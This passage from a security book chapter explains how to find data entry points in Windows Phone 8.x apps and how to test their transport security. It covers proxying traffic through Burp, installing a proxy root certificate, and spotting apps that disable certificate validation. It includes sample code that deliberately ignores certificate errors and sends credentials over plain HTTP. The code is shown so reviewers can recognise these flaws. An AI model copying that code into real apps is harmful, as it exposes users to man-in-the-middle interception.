This chapter follows the previous chapter’s introduction to Windows Phone applications by exploring the various ways in which apps can be vulnerable, and how an attacker can exploit identified weaknesses.
Akin to applications that run on popular desktop and mobile platforms, Windows Phone 8.x apps may also be vulnerable. This chapter focuses on testing for, finding, and exploiting vulnerabilities around issues such as transport security weaknesses, injection vectors, Interprocess Communications (IPC) mechanisms, and native code, among others. Many of the vulnerability classes that we discuss and explore are common to software that runs on other mobile operating systems (OSes), as well as to vulnerability classes encountered in application security generally.
This chapter also covers enumeration and identification of data entry points into applications, because they are critical to understanding an app’s threat landscape and pinpointing areas of an app that are potentially vulnerable to security weaknesses.
Before moving on to testing for, identifying, and exploiting security vulnerabilities in Windows Phone (WP) applications, we explore a very important initial step common to all application security reviews: locating and analyzing data entry points into the app. Doing this allows a would-be attacker insight into the attack surface of the app in question.
The phrase data entry point, or simply entry point, refers to any channel or interface presented by an app that allows the input of user-controllable or user-influenced data into the application for processing, parsing, or consideration.
Given that users can use entry points to introduce data into a system or application for parsing and processing, identifying such entry points is useful from attackers’ perspectives so that they know in which ways it is possible to input potentially malicious data into the app, and from where to follow code paths in code review and reverse-engineering exercises.
We’ll now briefly discuss the various entry points commonly found in WP8.x applications, and how to identify what entry points an app in question is exposing or using. Being aware of these common entry points makes the job of any security reviewer much easier and makes his or her security reviewing efforts more meaningful.
The Windows Phone 8.x OSes provide the WebBrowser control for embedding a browser-like interface into applications. WebBrowser controls are based on Internet Explorer and are instances of the WebBrowser class. They can be considered analogous to iOS UIWebView objects and Android’s WebView objects. WebBrowser controls are available in both WP8 and 8.1 applications.
Windows Phone 8.1 also includes the WebView class for creating WebView controls. This class is similar to WebBrowser, but is missing some of the features provided by the WebBrowser class.
WebBrowser and WebView controls are used frequently in WP8.x apps for a number of purposes, some of which can be summarized as follows:
Each of these purposes presents a user with an interface written in HTML/CSS/JavaScript. In fact, some applications consist almost entirely of a WebBrowser or WebView control that displays a mobile-friendly web application, with very little (if any) of the application’s logic implemented by the on-device app itself. Such apps were described broadly as hybrid apps in the “Programming Languages and Types of Applications” section in Chapter 10.
WebBrowser controls, depending on how an application uses them, can be considered data entry points in two main ways:
As mentioned in “Programming Languages and Types of Applications” in Chapter 10, XAML files hold definitions and declarations for interface and GUI elements. It is, therefore, no surprise that an app’s XAML files also hold declarations for WebBrowser controls that appear in an application.
When you’re conducting a code review, an app’s XAML files are likely to be readily available. If an app uses WebBrowser
controls, the app’s XAML files contain markup similar to the following:
<Grid x:Name="ContentGrid" Grid.Row="1">
<phone:WebBrowser HorizontalAlignment="Left"
Margin="20,50,0,0" Name="myWebBrowser" VerticalAlignment="Top"
Height="500" Width="430" />
</Grid>
This results in a WebBrowser control being generated, with its object bearing the name myWebBrowser. The object can then be used by the application’s C# code to access the WebBrowser API. For example, the following code would attempt to render a remote URL into the WebBrowser control:
myWebBrowser.Source = new Uri("http://www.google.co.uk",
UriKind.Absolute);
or:
myWebBrowser.Navigate(new Uri("http://www.google.co.uk",
UriKind.Absolute));
Alternatively, you can declare a WebBrowser control’s loading source directly in an XAML file:
<phone:WebBrowser Source="http://www.google.co.uk" />
Analysis for markup and C# code like the preceding is likely to quickly reveal an application’s use of WebBrowser
controls.
Similarly, you can create WebView
controls via a <WebView>
tag in a page’s XAML file. For example, the following markup creates a WebView
control on the associated page:
<WebView x:Name="webView"
Height="425"
HorizontalAlignment="Stretch"
VerticalAlignment="Stretch"
ScrollViewer.ZoomMode="Disabled"
ScrollViewer.VerticalScrollBarVisibility="Disabled"
Loaded="webView_Loaded"
NavigationFailed="webView_NavigationFailed"
NavigationCompleted="webView_NavigationCompleted"
Visibility="Visible"/>
In many instances source code is not available to a security reviewer or would-be attacker. You can still easily determine use of WebBrowser and WebView controls by extracting XAML files from an application’s Install directory.
Assuming you have installed the app to a device on which you have full filesystem access (see “Building a Test Environment” in Chapter 10), you can extract the app’s DLL file(s) from the app’s Install directory, and view XAML resources and reflected code recovered by .NET reflector, assuming the relevant part of the app consists of .NET assemblies.
As mentioned in the “Filesystem Access” and “Reverse Engineering” section (see Chapter 10), each app’s binaries are located in its Install directory; that is, C:\Data\Programs\{GUID}\Install
, where {GUID}
is the app’s unique identifier. Upon browsing to the Install
directory of the app you’re interested in, in your favorite file manager, the app’s files and assets can be copied from the device’s filesystem onto your test machine.
When you open them in a suitable tool, you can analyze XAML files as normal for declaration of WebBrowser and WebView controls. Analysis of recovered C# code can also indicate how the WebBrowser or WebView control is used by the app, as in the previous C# snippets. Figure 11.1 demonstrates analysis of the XAML files recovered by .NET reflector.
Use of WebBrowser and WebView controls is indicated in XAP packages by the presence of the ID_CAP_WEBBROWSERCOMPONENT
capability in the app’s manifest file (that is WMAppManifest.xml
), which again you can read in review or via extraction from the app’s C:\Data\Programs\{GUID}\Install
directory on your device.
For 8.1-only apps, the more general capability internetClientServer
is required in the Package.appxmanifest
file, instead.
We cover potential vulnerabilities that can arise due to the use of WebBrowser and WebView controls and how to exploit these issues in “Attacking WebBrowser and WebView Controls,” later in this chapter.
A Bluetooth API accessible to third-party developers was introduced with Windows Phone 8. The API offers two core modes: app-to-app and app-to-device.
You can identify applications that use Bluetooth by the presence of the ID_CAP_PROXIMITY
capability in their WMAppManifest.xml
file in the case of XAP packages, or the proximity capability in Package.appxmanifest
for APPX apps (8.1 apps), such as this:
<DeviceCapability Name="proximity" />
In both app-to-app and app-to-device modes, the Bluetooth API can be used to locate nearby peers, and upon finding one, used to connect to the peer. If both ends accept the connection, a socket can be created and associated with the connection for the two hosts to communicate across.
When you’re reviewing an app’s code in a code review, or reviewing code recovered via reverse engineering/reflection (see “Reverse Engineering” in Chapter 10), you’ll see that apps using Bluetooth will make use of the PeerFinder
and PeerInformation
classes, which form part of the Proximity API (Windows .Networking.Proximity
). To find more information on Bluetooth-relevant classes go to their respective MSDN pages at http://msdn.microsoft.com/en-us/library/windows.networking.proximity.peerfinder.aspx
and http://msdn.microsoft .com/en-us/library/windows.networking.proximity.peerinformation.aspx
.
For example, a code fragment similar to the following would indicate that the application makes a connection to a Bluetooth peer it finds, attempts to initiate a connection, and upon succeeding, associates a socket with the connection for further communications with the ‘peer’ app or device.
var peers = await PeerFinder.FindAllPeersAsync();
[ ERROR CHECKING OMITTED]
// select the first peer we found
PeerInformation selectedPeer = peers[0];
var streamSocket = await PeerFinder.ConnectAsync(selectedPeer);
// Attempt a connection
DoSomethingUseful(streamSocket);
Because the Bluetooth API allows Windows Phone applications to communicate with nearby devices and apps, its viability as an entry point for potentially malicious data is obvious. Depending on the nature of the app in question, an app may receive binary data that can be parsed unsafely, may receive data that is stored to a file, or receive data that is otherwise processed in a way that could potentially be exploited by an attacker.
The takeaway point here is that any data received over Bluetooth is potentially malicious and is subject to the same untrusted data-handling problems that all applications can suffer from. Of course, how received data is used is central in a security review; hence the usefulness in identifying this entry point, after which you can follow the data along all code paths it is used in.
As with applications for other smartphone platforms, many network-connected Windows Phone applications make web requests, such as to REST, SOAP, or JSON APIs, to retrieve information and to fulfill other pieces of functionality and behavior.
Data received in HTTP sessions may be parsed or processed in unsafe ways by an application, meaning the use of HTTP APIs represent viable data entry points, especially considering that data returned by web APIs is often untrusted and supplied or influenced by other users of a service.
In Windows Phone 8.x, at the time of writing, several popularly used HTTP APIs are available. Windows Phone 8 has System.Net.Http.HttpClient
(http://msdn.microsoft .com/en-us/library/system.net.http.httpclient(v=vs.118).aspx
), and Windows Phone 8.1 has System.Net.Http.HttpClient
and also Windows.Web.Http .HttpClient
(http://msdn.microsoft.com/en-US/library/windows/apps/windows .web.http.httpclient
). Both WP8 and 8.1 also have the HttpWebRequest
(http://msdn.microsoft.com/en-us/library/system.net.httpwebrequest(v=vs.110) .aspx
) class, which also allows web requests to be made easily.
The following code sample demonstrates a GET
request being issued on the example.com URL using System.Net.Http.HttpClient
, and the response is displayed in a message box:
var httpClient = new HttpClient();
var response = await httpClient.GetAsync(new Uri(
"http://www.example.com/api/getInfo",
UriKind.RelativeOrAbsolute));
response.EnsureSuccessStatusCode();
var txt = response.Content.ReadAsStringAsync();
MessageBox.Show(txt.Result);
You can find additional information on the common HTTP APIs on their respective MSDN pages, referenced previously.
Although more network-connected Windows Phone applications tend to use HTTP client APIs to simply talk to web services, it’s still not uncommon for apps to communicate with remote hosts using (somewhat) lower-level socket classes, using HTTP or some other protocol or scheme.
If a Windows Phone application uses sockets and is written in C#, the app is likely to be using the System.Net.Sockets
namespace or a relevant class in the Windows.Networking.Sockets
namespace. When you’re reviewing code or code recovered via reflection, lines of code similar to the following are likely to indicate the use of sockets in the app,
using System.Net.Sockets;
or
using Windows.Networking.Sockets.<type>;
The method names for connecting to a remote endpoint, sending data over a socket, and receiving data over a socket, are, quite predictably, named ConnectAsync()
, SendAsync()
, and RecvAsync()
. So paying attention to the use of these APIs is helpful when identifying entry points and analyzing an app’s behavior and functionality. You can find more information on the System.Net .Sockets
API on MSDN (http://msdn.microsoft.com/en-us/library/windows/apps/hh202858(v=vs.105).aspx
and http://msdn.microsoft.com/en-us/library/windows/apps/system.net.sockets(v=vs.105).aspx
).
In general, the classes most often encountered from the Windows.Networking .Sockets
namespace will be StreamSocket
and DatagramSocket
, which are TCP and UDP implementations, respectively. Refer to MSDN documentation for details on the usage of StreamSocket
, DatagramSocket
, and other Windows .Networking.Sockets
classes (http://msdn.microsoft.com/en-us/library/windows/apps/br212061.aspx
).
Some Windows Phone carrier devices support Near Field Communication (NFC), which you can use to transfer data between devices that are within very close proximity to one another. Typically, this means a couple of centimeters.
The standard class for sending and receiving string data between an NFC-enabled app and a proximity device in C# apps is the ProximityDevice
class (http://msdn.microsoft.com/en-us/library/windows.networking.proximity .proximitydevice.aspx
).
For example, you may use a code fragment similar to the following to publish a new WriteTag
NFC message:
ProximityDevice nfcDevice = ProximityDevice.GetDefault();
[ ... ]
if (nfcDevice != null) // nfc supported by device
{
long nfcId = nfcDevice.PublishMessage(
"Windows.SampleMessageType", "This is an NFC message..");
Debug.WriteLine("id of nfc message is {0}", nfcId);
[ ... ]
}
else { // nfc not supported by device
throwNfcError();
}
Conversely, to receive an NFC message, you may use code such as the following:
ProximityDevice myNfcDevice = ProximityDevice.GetDefault();
// Make sure NFC is supported
if (myNfcDevice != null)
{
long Id = myNfcDevice.SubscribeForMessage(
"Windows.SampleMessageType", nfcMessageReceivedCallback);
}
private void nfcMessageReceivedCallback(
ProximityDevice sender,ProximityMessage message)
{
Debug.WriteLine("nfc message received from {0}:'{1}'",
sender.DeviceId, message.DataAsString);
}
At this point, upon successfully receiving an NFC message, the message .DataAsString
contains the data in string format.
Apps that use NFC APIs must have the ID_CAP_NETWORKING
and ID_CAP_PROXIMITY
capabilities in their WMAppManifest.xml
or, for APPX packages, presence of the proximity
capability in the Package.appxmanifest file
:
<DeviceCapability Name="proximity" />
Interestingly, Windows Phone’s NFC functionality offers an entry point into protocol handlers (an IPC mechanism), without the application in question even having subscribed for receiving NFC messages (http://msdn.microsoft.com/en-us/library/windows/apps/jj206987(v=vs.105).aspx
).
This means that if a device receives an NFC message containing a URL, the URL is handled using the protocol handler registered for that scheme on the receiving device. See the “Protocol Handlers” and “Interprocess Communication Vulnerabilities” sections later in this chapter for more details.
Many smartphone applications include the ability to consume barcodes via the device’s built-in camera. Some examples of types of apps with such functionality include apps from commercial retailers, banks, and ticket vendors for scanning in offers and discounts on products and services. In Windows Phone apps, the most likely of all the barcodes to be handled are undoubtedly QR codes.
Although no publicly accessible APIs in Windows Phone 8.x exist for reading QR codes at the time of writing, several commonly used libraries are in the public domain, some of which are open source. A popular one is ZXing.NET, which has an official codeplex project page (http://zxingnet.codeplex.com
).
Applications using ZXing.NET may use code similar to the following to parse the text out of a saved QR code (which may have been read in via the camera):
IBarcodeReader reader = new BarcodeReader();
var barcodeBitmap = (Bitmap)Bitmap.LoadFrom("saved_qr_code.png");
// decode the barcode
var result = reader.Decode(barcodeBitmap);
// did it work?
if (result != null)
{
txtDecoderType.Text = result.BarcodeFormat.ToString();
txtDecoderContent.Text = result.Text;
}
Upon successful decoding, txtDecoderContent.Text
now contains the text represented by the barcode.
Applications that require camera use must have the ID_CAP_ISV_CAMERA
capability requested in their WMAppManifest.xml
file, or in the case of Windows Phone 8.1 apps (APPX), the webcam capability must be requested in the Package .appxmanifest
file:
<DeviceCapability Name="webcam" />
Barcodes may represent interesting data entry points because the application or the server-side application may treat the recovered data with an unsafe level of trust. Possible examples include trusting data such that non-existent offers or discounts are obtained due to unsuspecting server-side logic. Windows Phone apps could, in some cases, also be vulnerable to various types of injection bugs when using parsed-out data from QR codes; possibilities are application and context dependent.
SD cards may represent an interesting entry point into applications that read from them, because files on SD cards aren’t necessarily trusted as files may be in the app’s sandbox.
Files on SD media are not necessarily trustworthy, because SD cards are often bought cheaply (such as online or at markets) and inserted into devices without precautions. SD cards may also be passed around among colleagues and peers as a means of exchanging files.
The standard API for access to an SD card is Windows.Phone.Storage
. Windows Phone 8.x provides SD card access via file extension registration, meaning an app can only see and read files on the SD card that bear the file extension(s) the app has registered for. Windows Phone 8.1 also allows write access to SD cards, but again, only for file extensions the app has registered.
File-handling associations are declared in an app’s WMAppManifest.xml
or Package .appxmanifest
file. An application that can read files with the .ext
file extension from the SD card may have markup similar to the following in its manifest file:
<Extensions>
<FileTypeAssociation TaskID="_default" Name="EXT"
NavUriFragment="fileToken=%s">
<Logos>
<Logo Size="small"
IsRelative="true">Assets/Route_Mapper_Logo33x33.png
</Logo>
<Logo Size="medium"
IsRelative="true">Assets/Route_Mapper_Logo69x69.png
</Logo>
<Logo Size="large"
IsRelative="true">Assets/Route_Mapper_Logo176x176.png
</Logo>
</Logos>
<SupportedFileTypes>
<FileType ContentType="application/ext">.ext</FileType>
</SupportedFileTypes>
</FileTypeAssociation>
</Extensions>
Or, for apps targeting 8.1 only, in the Package.appxmanifest
file:
<Extension Category="windows.fileTypeAssociation">
<FileTypeAssociation Name="myext">
<DisplayName>myExt</DisplayName>
<SupportedFileTypes>
<FileType ContentType="application/myext">.ext</FileType>
</SupportedFileTypes>
</FileTypeAssociation>
</Extension>
Both of these inform the OS to associate the .ext
file extension with the application in question.
An app may then use the ExternalStorageDevice
, ExternalStorageFolder
, and other standard classes to read .ext files from a connected SD card. The following code retrieves the contents of all .ext
files present on the SD card and displays them in a message box:
ExternalStorageDevice sdCard = (await
ExternalStorage.GetExternalStorageDevicesAsync()).FirstOrDefault();
if (sdCard != null)
{
// Get the root folder on the SD card.
ExternalStorageFolder sdrootFolder = sdCard.RootFolder;
if (sdrootFolder != null)
{
// List all the files on the root folder.
var files = await sdrootFolder.GetFilesAsync();
if (files != null)
{
foreach (ExternalStorageFile file in files)
{
Stream s = await file.OpenForReadAsync();
if (s != null || s.Length == 0)
{
long streamLength = s.Length;
StreamReader sr = new StreamReader(s);
// display file contents
MessageBox.Show(sr.ReadToEnd());
}
else
{
MessageBox.Show(
"There were no files in the root folder");
}
}
}
}
else
{
MessageBox.Show(
"Failed to get root folder on SD card");
}
}
else
{
MessageBox.Show("SD Card not found on device");
}
Apps reading from SD cards require the ID_CAP_REMOVABLE_STORAGE
or removableStorage
capability to be present in their WMAppManifest.xml
or Package .appxmanifest
file (in 8.1-only apps), respectively.
Depending on how an app uses or parses SD card file contents, use of untrusted SD cards could indeed represent a security risk.
File extension associations are effectively a type of IPC mechanism. (See “Interprocess Communications Interfaces” and “Interprocess Communication Vulnerabilities” later in this chapter for more details on the security aspects of file extension handlers in a more general context.)
The term Interprocess Communications (IPCs) is used to describe meaningful interaction between two separate processes. Modern operating systems tend to have a variety of IPC mechanisms, often including named pipes, local domain sockets, shared memory regions, RPC/LPC interfaces, and others. In mobile operating systems however, where developers are operating in a much more closed environment, APIs tend to exist for only one or two IPC mechanisms, and use of the lower-level primitives that are implemented by the OS is discouraged or even prohibited by the respective application store rules.
The Windows Phone 8.x operating systems offer two officially supported IPC mechanisms: protocol handlers and file extension associations (also introduced briefly previously). These mechanisms allow third-party apps to interact with each other, often allowing an app to pass data into another app, or influence its control flow or operation in some supposedly useful way.
It therefore stands to reason that exposure of IPC interfaces in applications can represent interesting data entry points, so being able to identify their presence in apps is useful to a security reviewer.
The ability to register custom protocol handlers in your app was introduced in Windows Phone 8, and their use by developers is not dissimilar to how iOS and Android developers also register and use custom protocol handlers in their apps. Protocol handlers are also known as URL handlers.
Chiefly, custom protocol handlers allow developers to register their own URL scheme, which can then be called externally; for example, via a web page or via another store app. After it’s called, the app that owns the protocol scheme launches at a well-defined entry point function in which the launch and any data passed in via the URL scheme can be handled as the developer so desires.
You declare protocol handlers in an app’s WMAppManifest.xml
or Package .appxmanifest
file (for 8.1-only apps), which you’ll already have in a code review; if code is not available, you can obtain the WMAppManifest.xml
file via filesystem access on a device that has the app installed.
The presence of protocol handlers in an app is apparent by the presence of the <Protocol>
tag in the WMAppManifest.xml
manifest, because this is the tag used to register protocol handlers. For example, the following XML fragment in the WMAppManifest.xml
manifest would result in myproto://
being registered:
[ ... ]
<Extensions>
<Protocol Name="myproto"
NavUriFragment="encodedLaunchUri=%s" TaskID="_default" />
</Extensions>
[ ... ]
For 8.1-only apps, something similar to the following would instead be present in the Package.appxmanifest
file:
<Extension Category="windows.protocol">
<Protocol Name="myproto">
<Logo>test.jpg</Logo>
<DisplayName>myproto</DisplayName>
</Protocol>
</Extension>
If a device receives a URL via NFC, the relevant registered protocol handler launches to handle the received URL (see http://msdn.microsoft.com/en-us/library/windows/apps/jj206987(v=vs.105).aspx
), as long as the user gives permission at a prompt. For example, a nearby Windows Phone device could use the Proximity API in the following way to make the other phone handle the URL association in the same way it would with a locally launched URL:
long Id = device.PublishUriMessage(new System.Uri("myUrl:something"));
This may be an interesting attack vector for reaching protocol handler entry points without a need for getting a user to visit a rogue web page or getting a rogue app on the target device, because many users simply tap Yes (or equivalent) at all prompts.
File handler associations were mentioned briefly in the earlier “SD Cards” section. To summarize briefly, file extension handlers are a type of IPC mechanism and work in a similar way to protocol handlers.
Explained concisely, if an application registers to be associated with a given file extension, then every time a file bearing that extension is opened, the associated app launches and is given the option to handle that file. The app typically copies the file, parses it, displays it, or otherwise processes it. A good example is a PDF reader—it registers for association with the .pdf
extension, and then opens, parses, and renders PDF files whenever one is opened.
Because applications that register as file extension handlers often parse the data found in the opened file, this type of entry point can represent an interesting area in code reviews. Furthermore, because files may be received as email attachments or via browser downloads, attacks by remote attackers are also a possibility.
You can spot the presence of a file association handler by the presence of <FileTypeAssociation>
and <FileType>
tags in the WMAppManifest.xml
file or in Package.appxmanifest
for 8.1-only apps. For example, the following markup registers the .myExt
file extension to the app being installed:
<Extensions>
<FileTypeAssociation TaskID="_default"
Name="myExt" NavUriFragment="fileToken=%s">
<Logos>
<Logo Size="small"
IsRelative="true">Assets/Route_Mapper_Logo33x33.png</Logo>
<Logo Size="medium"
IsRelative="true">Assets/Route_Mapper_Logo69x69.png</Logo>
<Logo Size="large"
IsRelative="true">Assets/Route_Mapper_Logo176x176.png</Logo>
</Logos>
<SupportedFileTypes>
<FileType ContentType="application/ext">.myExt</FileType>
</SupportedFileTypes>
</FileTypeAssociation>
</Extensions>
Or for 8.1-only apps (APPX):
<Extension Category="windows.fileTypeAssociation">
<FileTypeAssociation Name="myext">
<DisplayName>myExt</DisplayName>
<SupportedFileTypes>
<FileType ContentType="application/myext">.myExt
</FileType>
</SupportedFileTypes>
</FileTypeAssociation>
</Extension>
Toast notifications, also known as toasts, are messages that appear at the top of the screen (even when another app is in the foreground), informing the user of an event. For example, messaging apps could send a toast when someone initiates a conversation with the user.
Although applications are supposed to send only toasts that map to pages in their own app, Windows Phone 8 (not 8.1) allows code to send toast notifications that when tapped open XAML pages in other applications installed on the device. This is possible by calling a native API named Shell_PostMessaageToast()
, which is exported by ShellChromeAPI.dll
.
Toasts, therefore, potentially provide an entry point into XAML pages and therefore functionality that developers most likely never intended to be callable by anyone but them and their own code.
We provide more information about toast notifications later in this chapter, in the “Interprocess Communications Vulnerabilities” section, including how to send toasts to arbitrary apps and how they might help you exploit bugs in badly coded pages.
A large number of Windows Phone applications provide much of their core functionality by communicating with services on the Internet. The specifics of why varies from application to application; many apps carry out networking communications to provide users with rich web-based interfaces, and some call into web-based APIs that provide and facilitate the app’s functionality and purpose.
When assessing a mobile application’s security, taking a look at its network transport aspects is important for two chief reasons: to gain insight into what is being sent to and received from network hosts, and to assess whether sensitive traffic is being communicated back and forth with appropriate security measures applied. For example, are logins and other authentications being done via SSL, or are they being done in the clear, via standard HTTP?
This section explores how to assess the security of communications between an app and network hosts, as well as how to intercept communications for the purpose of manipulating traffic going either way between the app and a network host.
We also discuss how to identify implementation flaws that may be present even when HTTPS/SSL is used for sensitive traffic, and how such flaws may undermine the security of associated network traffic.
Despite the implications of using a cleartext transport such as standard HTTP for sensitive data communications, many mobile apps use plaintext HTTP for the majority or all of their traffic. It’s still not uncommon at the time of writing this book for applications to perform authentication via cleartext HTTP, in the mobile, desktop, and enterprise worlds.
On the code level, a Windows Phone 8.x app may use the HttpClient
class to interact with a web API, for example. In a C# application, a call to a hypothetical authentication service could be comprised of the following code:
string url = "http://www.myapp.com/api/login";
var values = new List<KeyValuePair<string, string>>
{
new KeyValuePair<string, string>("username", myUsername),
new KeyValuePair<string, string>("password", myPassword)
};
var httpClient = new HttpClient(new HttpClientHandler());
HttpResponseMessage response = await httpClient.PostAsync(new Uri(url), new
FormUrlEncodedContent(values));
response.EnsureSuccessStatusCode();
var responseString = await response.Content.ReadAsStringAsync();
This code performs a POST request with the username and password credentials as POST parameters.
Similarly, an app could be using WebClient
, HttpWebRequest
, or another API to make its requests.
The uri
string object is set to http://www.myapp.com/api/login
, which is clearly a URL that will result in a non-SSL protected HTTP request being made. Given that the request is making an authentication call, such a coding practice represents a serious security risk, which could ultimately allow a suitably positioned attacker to eavesdrop on the credentials and the request in general.
Equally, a WebBrowser
control may have been directed towards a non-HTTPS URL; that is:
myWebBrowser.Navigate(new Uri(
"http://www.google.co.uk", UriKind.Absolute));
This could also be done with a WebView
control.
Given code or code recovered using C# reflection tools, such a security issue is trivial to spot, but the issue is almost equally as easy to find exclusively by basic manual testing, when no form of source code is available.
You can configure Windows Phone 8.x to route all HTTP traffic through a proxy tool, such as Burp Suite, Fiddler, or OWASP’s ZAP. This capability allows for all standard HTTP traffic to be analyzed in real time as an app communicates with a remote web server.
To configure a Windows Phone 8.x device to push web traffic through a proxy, first configure your test laptop to be on the same wireless network as your WP device, and run your HTTP proxy tool of your choice. Then go to Settings WiFi and click the name of the wireless network to which the device is connected. The screen presented will closely resemble the one in Figure 11.2.
To set a proxy server, switch the slider to right, and type the IP address (or hostname) of the system where you’ve previously set up your proxy tool, and input the appropriate port number. (See Figure 11.3.)
At this point, you can see all standard HTTP traffic traveling from the device in the proxy application, such as Burp Suite capturing a request from a Samsung Ativ device to the Google search engine, as shown in Figure 11.4.
If you are using the WP8 or WP8.1 emulator instead of a device, proxy settings do not need to be configured in the device; simply configure proxy settings via Internet Explorer, because the emulator honors the proxy settings of the host system.
Now that cleartext HTTP traffic is being routed through an intercepting proxy, a tester can examine web traffic being sent and received by the device. An app sending and receiving sensitive information, including login credentials, financial information, medical information, or Personally Identifiable Information (PII), is unacceptable, and constitutes a serious security threat.
Likewise, if traffic (which will be cleartext HTTP) can be intercepted in real-time in this way, a plaintext HTTP session also represents an entry point into the application because suitably positioned attackers who are performing a man-in-the-middle attack on an unsuspecting user could inject data of their choice into HTTP responses and requests. Such attacks could include injection of arbitrary HTML and JavaScript into WebBrowser interfaces.
Although traffic issued through the standard HTTP APIs (HttpClient) and WebBrowser controls honors the device’s (or emulator’s) proxy settings, socket communications doesn’t, thus you must use other means to actively capture traffic that is non-HTTP(s) in nature. More on this topic appears later in “Capturing Non-HTTP/HTTPS Traffic.”
When proxying an application, you might find that no HTTP traffic is visible in your proxy tool, even though you know the app makes web requests. In cases like these, the app is most likely using HTTPS (that is, SSL protected) as opposed to standard HTTP, and as a result, the SSL certificate chain validation check fails, resulting in no SSL session actually being negotiated. Such situations become apparent when no traffic shows in the proxy, and often the app complains that something went wrong, or that Internet access was unavailable.
Applications that are correctly using HTTPS for their web requests and API calls may be using code such as the following:
string url = "https://www.myapp.com/api/login";
var values = new List<KeyValuePair<string, string>>
{
new KeyValuePair<string, string>("username", myUsername),
new KeyValuePair<string, string>("password", myPassword)
};
var httpClient = new HttpClient(new HttpClientHandler());
HttpResponseMessage response = await httpClient.PostAsync(new Uri(url),
new FormUrlEncodedContent(values));
response.EnsureSuccessStatusCode();
var responseString = await response.Content.ReadAsStringAsync();
Note the use of the https://
URL.
When HTTPS is being used, an appropriate root certification authority (CA) certificate must be installed on the device so that the certificate presented by the proxy tool validates correctly. This enables you to intercept HTTPS traffic as seamlessly as you were able to intercept standard HTTP traffic.
Assuming your proxy tool of choice is Burp Suite, you must first instruct Burp to generate a root CA certificate for you by going to Proxy Options, and then clicking the CA certificate button. Choose Certificate in DER format, and then follow the wizard’s workflow through to export a certificate. (See Figure 11.5.)
At this point, change the .der
file extension to having a .cer
file extension.
To install Burp Suite’s root CA certificate, the certificate must first be somehow sent to the device. The easiest way to do this is via an email attachment.
After it has been received on the device via the Mail application, simply click the .cer
attachment. A screen similar to the one in Figure 11.6 appears.
Tap Install to instruct the OS to accept the certificate into its root CA trust store. A screen displays indicating a successful installation.
With the root CA certificate now installed on the device, the application will generally allow proxying through your chosen proxy app, because the SSL validation process now completes successfully due to certificates being presented by Burp validating against Burp’s root CA certificate.
This procedure also works for installing CA certificates on the emulator.
Although the majority of apps for Windows Phone that rely on using the network use HTTP for their communications, you may occasionally come across one that uses Windows’ socket interfaces to talk to a network endpoint; that is, System.Net.Sockets
or Windows.Networking.Sockets
.
Such an app may be using a roll-your-own style binary protocol, an already-documented (for example in an RFC) one, or could simply be communicating simple ASCII strings to a network listener, and receiving data in an equally simple format.
Whichever the case may be, the two general options for eavesdropping on non-HTTP traffic are active and passive. Active interception allows you to modify incoming and outgoing traffic in real time, much like you’ve done with HTTP/HTTPS traffic (for example, using Burp Suite as a proxy). Passive sniffing on the other hand just allows you to observe traffic from a non-modifying perspective and carry out analysis on the packets you see. Passive traffic sniffing can be done from a suitably placed system using tools such as Wireshark and tcpdump and doesn’t require any kind of special setup.
If you want to actively intercept non-HTTP traffic in a similar way to that allowed by tools such as Burp Suite, you’ll need to get inventive, because Windows Phone offers no standard way to use any kind of non-HTTP proxy.
Intrepidus Group provides a tool named Mallory that is designed specifically for active capture and modification of non-HTTP traffic. Several supported and documented ways exist to set up Mallory to carry out a man-in-the-middle attack on non-HTTP communications going to and from a mobile app, one of which is to configure a subject device to use a PPTP VPN.
However, because Windows Phone 8 does not support VPN connections, and Windows Phone 8.1 does not support PPTP VPN servers, try setting up Mallory to function as part of a Wi-Fi hotspot, which you connect your Windows Phone device to. Proper setup allows you to view and modify all interesting communications (including non-HTTP) in Mallory. See the following guide, by the authors of Mallory, for a tutorial on how to get started with setting up and using the Mallory tool for non-HTTP traffic interception and modification: https://intrepidusgroup.com/insight/2010/12/mallory-and-me-setting-up-a-mobile-mallory-gateway/
.
When proxying an application, your HTTPS traffic may appear in your proxy app (Burp Suite) even though you have not installed a root CA certificate for the proxy. This is indicative of a serious security flaw: SSL certificate validation has been disabled, and the app has connected to your proxy host even though the certificate it presented was not valid for the host the app was really trying to connect to.
This means that the app is skipping certificate chain validation and is therefore not verifying that the host it is talking to (your proxy box) is genuinely the one it was expecting (i.e., some web API host). Such flaws can be described as certificate validation flaws, and they allow for connections to be observed or tampered via man-in-the-middle interception attacks by favorably positioned attackers.
Most SSL/HTTPS APIs allow the developer to disable certificate validation checks so that when negotiating an SSL session, no certificate validation checks are actually carried out. Many coders enable this mode when developing an app because many test environments are wired up to use self-signed or otherwise untrusted certificates, which makes perfect sense while still in the development process. No SSL certificate validation errors are thrown because of self-signed certs or otherwise, and the developers can do their job and get the app developed and tested without issue.
However, having developers who forget to remove the code that disables certificate validation is common, and many apps end up shipping with the vulnerable code.
Even worse, some apps end up shipping with non-validating SSL API call patterns simply because developers copied and pasted the code from a site like Stack Overflow after they couldn’t figure out why their code wouldn’t work in the (self-signed certificated) test environment.
In Windows Phone 8, no (documented) way exists to disable SSL certification validation in the HTTPS APIs.
In Windows Phone 8.1, however, you can instruct the Windows.Web.Http .HttpClient
to ignore untrusted certificates using the HttpBaseProtocolFilter
class (see http://blogs.msdn.com/b/wsdevsol/archive/2013/10/17/how-to-ignore-self-signed-certificate-errors-in-windows-store-apps-8-1.aspx
).
Apps using Windows.Web.Http.HttpClient
that have SSL certificate validation disabled are likely to be using code resembling the following:
HttpBaseProtocolFilter filter = new HttpBaseProtocolFilter();
filter.IgnorableServerCertificateErrors.Add(
ChainValidationResult.Untrusted);
filter.IgnorableServerCertificateErrors.Add(
ChainValidationResult.Expired);
var httpClient = new Windows.Web.Http.HttpClient(filter);
try
{
var uri = new Uri("https://www.myapp.com/...");
HttpResponseMessage response = await httpClient.GetAsync(uri);
}
In the preceding code, untrusted and expired certificates are set as trusted. Luckily, this is easy to spot in a code review and when using manual testing, because traffic will pass through a proxy, whereas the SSL negotiation process should fail if certificate checking occurred!
Apps may also add ignore settings for other certificate errors, such as:
filter.IgnorableServerCertificateErrors.Add(
ChainValidationResult.IncompleteChain);
filter.IgnorableServerCertificateErrors.Add(
ChainValidationResult.WrongUsage);
filter.IgnorableServerCertificateErrors.Add(
ChainValidationResult.InvalidName);
filter.IgnorableServerCertificateErrors.Add(
ChainValidationResult.RevocationInformationMissing);
filter.IgnorableServerCertificateErrors.Add(
ChainValidationResult.RevocationFailure);
Certificate validation in System.Net.Http.HttpClient
, however, cannot be disabled using any publicly documented method.
